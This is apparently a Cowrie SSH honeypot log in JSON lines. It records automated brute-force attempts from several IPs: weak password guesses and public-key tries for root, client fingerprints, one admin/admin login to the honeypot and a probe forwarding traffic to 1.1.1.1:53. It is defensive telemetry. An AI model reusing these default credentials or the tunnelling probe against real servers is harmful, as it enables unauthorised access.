{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:14.667012Z","src_ip":"80.94.92.186","session":"8b9884247fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:16.043140Z","src_ip":"80.94.92.186","session":"8b9884247fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":47152,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a0ee5742089","protocol":"ssh","message":"New connection: 80.94.92.171:47152 (10.17.0.5:22) [session: 1a0ee5742089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:20.780100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:20.944267Z","src_ip":"80.94.92.171","session":"1a0ee5742089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:20.948926Z","src_ip":"80.94.92.171","session":"1a0ee5742089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:22.064172Z","src_ip":"80.94.92.171","session":"1a0ee5742089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:23.376767Z","src_ip":"80.94.92.171","session":"1a0ee5742089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.201.25","src_port":54022,"dst_ip":"10.17.0.5","dst_port":22,"session":"de416bdb8a6f","protocol":"ssh","message":"New connection: 148.113.201.25:54022 (10.17.0.5:22) [session: de416bdb8a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.313142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.318657Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.341122Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:34:0f:3c:b1:d1:ec:4a:ec:77:0b:a8:b4:70:2e:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCR9CT7EuWI9Ri7qCLYr8LFLb3SqkYw17edpDWZkTkewYc4ke8SaB3olUHjhRo41X4VmBuLf81sy5KEZpscfwlvJWF3Y7hSOx3e1tKVY5aim9BqqieYAfaU8UqHjCvmeQ/T5Eeg13YJPg7Xgi1GK4gtcesoXbmIL14Cv0oAk/kKqjn3LcuZomsATDNBuoVfGiWPUArbUvhBNW5+GKwzjSwRYu6088lMN7eriA5eUS/PGUs5k38QZqnMCD1Kxd87AMdvguPIzudqNO6gW7JLG6UnTOVzeeF7rvm7TAe5dT5leUMbhseAtrLuPmIgyGW/skNIDXEgKNj/2x7poo2LgcCN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:34:0f:3c:b1:d1:ec:4a:ec:77:0b:a8:b4:70:2e:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.423872Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:34:0f:3c:b1:d1:ec:4a:ec:77:0b:a8:b4:70:2e:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCR9CT7EuWI9Ri7qCLYr8LFLb3SqkYw17edpDWZkTkewYc4ke8SaB3olUHjhRo41X4VmBuLf81sy5KEZpscfwlvJWF3Y7hSOx3e1tKVY5aim9BqqieYAfaU8UqHjCvmeQ/T5Eeg13YJPg7Xgi1GK4gtcesoXbmIL14Cv0oAk/kKqjn3LcuZomsATDNBuoVfGiWPUArbUvhBNW5+GKwzjSwRYu6088lMN7eriA5eUS/PGUs5k38QZqnMCD1Kxd87AMdvguPIzudqNO6gW7JLG6UnTOVzeeF7rvm7TAe5dT5leUMbhseAtrLuPmIgyGW/skNIDXEgKNj/2x7poo2LgcCN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.429474Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:c8:c7:0f:29:67:45:ea:52:78:74:06:51:d7:1b:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/hyhwIfnf//JfLKfPVdmpF1LWPEzN428sU2jiEaps3Dta7FwG+pP96RqJYAftBa19Iks0FQpMjk+k1+suOYNxyMNofJINelKS+ss1qxf8dc5dxwiPATE51fM3Cts7rlTmXyZ9peMtHNBGBdEXHkqlviXENEzgArqbXYBCs8mxvsadxLp1V/QoL7PtesX+XX+szUU/uWuT3mklwHBEptwLealbsD0ODLDkBytbweusYeZtI955LHQaIBlX9KWbxmQwrelOuFd0Tr9WoyRfF18u0mIiqJGzERd8dqkh1PsJ1zz0VSv1nDPlr80waXn35i/Fm9C6D32DsN2PR6ZTnSXUlafM4dvNgLOPrMube3xMh+59gyEf/UIeV391ybn57aaq1a5qadnikV1DxWxWpwjZVJLeKjwYtAiI+j9+NYhpZO8a1MD4JinkdUZBV9CM2Gttco87fGOWBjBDw8l+JY6wuN+SA3WwvLa29OLnwoTcJDyoZiThmUrkmwjcPfXh64E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:c8:c7:0f:29:67:45:ea:52:78:74:06:51:d7:1b:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.452713Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:c8:c7:0f:29:67:45:ea:52:78:74:06:51:d7:1b:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/hyhwIfnf//JfLKfPVdmpF1LWPEzN428sU2jiEaps3Dta7FwG+pP96RqJYAftBa19Iks0FQpMjk+k1+suOYNxyMNofJINelKS+ss1qxf8dc5dxwiPATE51fM3Cts7rlTmXyZ9peMtHNBGBdEXHkqlviXENEzgArqbXYBCs8mxvsadxLp1V/QoL7PtesX+XX+szUU/uWuT3mklwHBEptwLealbsD0ODLDkBytbweusYeZtI955LHQaIBlX9KWbxmQwrelOuFd0Tr9WoyRfF18u0mIiqJGzERd8dqkh1PsJ1zz0VSv1nDPlr80waXn35i/Fm9C6D32DsN2PR6ZTnSXUlafM4dvNgLOPrMube3xMh+59gyEf/UIeV391ybn57aaq1a5qadnikV1DxWxWpwjZVJLeKjwYtAiI+j9+NYhpZO8a1MD4JinkdUZBV9CM2Gttco87fGOWBjBDw8l+JY6wuN+SA3WwvLa29OLnwoTcJDyoZiThmUrkmwjcPfXh64E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.456530Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:4a:6c:27:4f:8a:3c:f4:8f:7f:72:18:0f:cf:5b:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg4yCveveYSkfZCYTHTTRJ3Nx2nV3KrDF73MMW05wZAtNZtePe2h7PtXbGF7nT+CTBneeb7F5k8U1mYPzF+19S2mbnENlzNwiTj9wIlOfiGN5U2a9gBgGOnReurJgxZ5X+5JTFRmuPtJHT2Ef8MkVcyk9rmc8+kbUGnvzTKNjBOIi8MVKZJy9wY0wRYYXScVJTVG0ADTibfn8gyaIexKbrN6LrRbCazFt/1/TKJ8dMiLp7a4o0zEseHDLxCxbCopdVw9sf6YDEVk8saAQdfE1aNkGFvKY4ckpgVQbZpor7iAibaOUDE1YhIDETAxT7NvP4VAwTuKciRGzd6mdIfMnH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:4a:6c:27:4f:8a:3c:f4:8f:7f:72:18:0f:cf:5b:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.481436Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:4a:6c:27:4f:8a:3c:f4:8f:7f:72:18:0f:cf:5b:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg4yCveveYSkfZCYTHTTRJ3Nx2nV3KrDF73MMW05wZAtNZtePe2h7PtXbGF7nT+CTBneeb7F5k8U1mYPzF+19S2mbnENlzNwiTj9wIlOfiGN5U2a9gBgGOnReurJgxZ5X+5JTFRmuPtJHT2Ef8MkVcyk9rmc8+kbUGnvzTKNjBOIi8MVKZJy9wY0wRYYXScVJTVG0ADTibfn8gyaIexKbrN6LrRbCazFt/1/TKJ8dMiLp7a4o0zEseHDLxCxbCopdVw9sf6YDEVk8saAQdfE1aNkGFvKY4ckpgVQbZpor7iAibaOUDE1YhIDETAxT7NvP4VAwTuKciRGzd6mdIfMnH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.488468Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:da:76:4f:f3:fb:7a:dc:db:4f:cc:eb:ef:73:2c:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtFlnhEA6Y4OFsIMwmGdlBgbImGX67xkStxW55YA8r1Voq3wc1gG51tdPFOrthwUJOM8QV7EC3cMbsOQhpBl/SJfGsJuSIxFZH+Esnv0C4xcyBWVsmEK1F1xzYLxhVmYUBjECxPPXiqxkv61p6YNTIUTCkHYUapITHwYVVnuxp+VHJ2EItCOdFOFNyWPuzgAISvcnsmqM6X/bKFVt/9+Hlv8OKnpRHYtxon0DflFgtyOFSa7fJsEQy414fJ29f8ONcYB8h9fiASGVeL+aKshr2Xy0qIJN7Rctl3aqpvuEYOaDfUBeW422AKWMKJlR5R4FtWQ0Nzh2QqNC17YRsBrNVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:da:76:4f:f3:fb:7a:dc:db:4f:cc:eb:ef:73:2c:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.514557Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:da:76:4f:f3:fb:7a:dc:db:4f:cc:eb:ef:73:2c:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtFlnhEA6Y4OFsIMwmGdlBgbImGX67xkStxW55YA8r1Voq3wc1gG51tdPFOrthwUJOM8QV7EC3cMbsOQhpBl/SJfGsJuSIxFZH+Esnv0C4xcyBWVsmEK1F1xzYLxhVmYUBjECxPPXiqxkv61p6YNTIUTCkHYUapITHwYVVnuxp+VHJ2EItCOdFOFNyWPuzgAISvcnsmqM6X/bKFVt/9+Hlv8OKnpRHYtxon0DflFgtyOFSa7fJsEQy414fJ29f8ONcYB8h9fiASGVeL+aKshr2Xy0qIJN7Rctl3aqpvuEYOaDfUBeW422AKWMKJlR5R4FtWQ0Nzh2QqNC17YRsBrNVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.518278Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:f3:82:b5:21:41:cd:a1:81:94:9f:e4:d5:3b:d7:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCaAVybMfhTwwDIrSG0tIL02yays76X8wEi7Auz2ahw1X2NfL/jCHHqK5rbw4ERYxOkpTTmDUHF2MKoEBw+zSH6LN3MsAPK+dHip/3nxcGSRoSj9JFJlOhEEPvAZXGOCHmIS7V/cF8/UU9v1Xa6MFwL71vf3/jl00WwYNGmrR9szV2hSzjoN74k+4RTfYuwllX3L5XpuAZaLeLq+qpiSqILqNjD7G5hbE0OCIv+PvAqeLkSdiIpTk2y1N8YyAhdLYgcVfrxXnq1eHfNZPZ6SO3yEeWDz35BwyCs20LQY4SdGr+cy0v3h1b/tfO1si30PQyAWqqv8W/2KPHQ9o+rNolESVSth7QJuRfjm9kgbCSLDZHOjBEyKvTmh8kDTHGwxkR/5tPMZ1NVBK5Nap1vWm16f+83il8lnxWbriX+cYVpruhh+LfG2gpH7EU5a0YUimVXlknTLx3mwynYPkMwvRwJuOx/fF70zPHrA+LJtYMeSBpsLbUOMJbboVezIQ8lR4U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:f3:82:b5:21:41:cd:a1:81:94:9f:e4:d5:3b:d7:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.541314Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:f3:82:b5:21:41:cd:a1:81:94:9f:e4:d5:3b:d7:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCaAVybMfhTwwDIrSG0tIL02yays76X8wEi7Auz2ahw1X2NfL/jCHHqK5rbw4ERYxOkpTTmDUHF2MKoEBw+zSH6LN3MsAPK+dHip/3nxcGSRoSj9JFJlOhEEPvAZXGOCHmIS7V/cF8/UU9v1Xa6MFwL71vf3/jl00WwYNGmrR9szV2hSzjoN74k+4RTfYuwllX3L5XpuAZaLeLq+qpiSqILqNjD7G5hbE0OCIv+PvAqeLkSdiIpTk2y1N8YyAhdLYgcVfrxXnq1eHfNZPZ6SO3yEeWDz35BwyCs20LQY4SdGr+cy0v3h1b/tfO1si30PQyAWqqv8W/2KPHQ9o+rNolESVSth7QJuRfjm9kgbCSLDZHOjBEyKvTmh8kDTHGwxkR/5tPMZ1NVBK5Nap1vWm16f+83il8lnxWbriX+cYVpruhh+LfG2gpH7EU5a0YUimVXlknTLx3mwynYPkMwvRwJuOx/fF70zPHrA+LJtYMeSBpsLbUOMJbboVezIQ8lR4U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.545097Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:30.570523Z","src_ip":"148.113.201.25","session":"de416bdb8a6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41002,"dst_ip":"10.17.0.5","dst_port":22,"session":"4673b23b7e37","protocol":"ssh","message":"New connection: 103.195.236.96:41002 (10.17.0.5:22) [session: 4673b23b7e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:48.403702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:48.409852Z","src_ip":"103.195.236.96","session":"4673b23b7e37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:48.662375Z","src_ip":"103.195.236.96","session":"4673b23b7e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1977","message":"login attempt [root/1977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:49.391144Z","src_ip":"103.195.236.96","session":"4673b23b7e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:50.635850Z","src_ip":"103.195.236.96","session":"4673b23b7e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40810,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0839d1bea1d","protocol":"ssh","message":"New connection: 87.251.64.176:40810 (10.17.0.5:22) [session: d0839d1bea1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:00.297106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:00.303767Z","src_ip":"87.251.64.176","session":"d0839d1bea1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:00.402189Z","src_ip":"87.251.64.176","session":"d0839d1bea1d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:00.712989Z","src_ip":"87.251.64.176","session":"d0839d1bea1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:00.816886Z","session":"d0839d1bea1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:00.914550Z","src_ip":"87.251.64.176","session":"d0839d1bea1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:01.014758Z","src_ip":"87.251.64.176","session":"d0839d1bea1d","protocol":"ssh"}
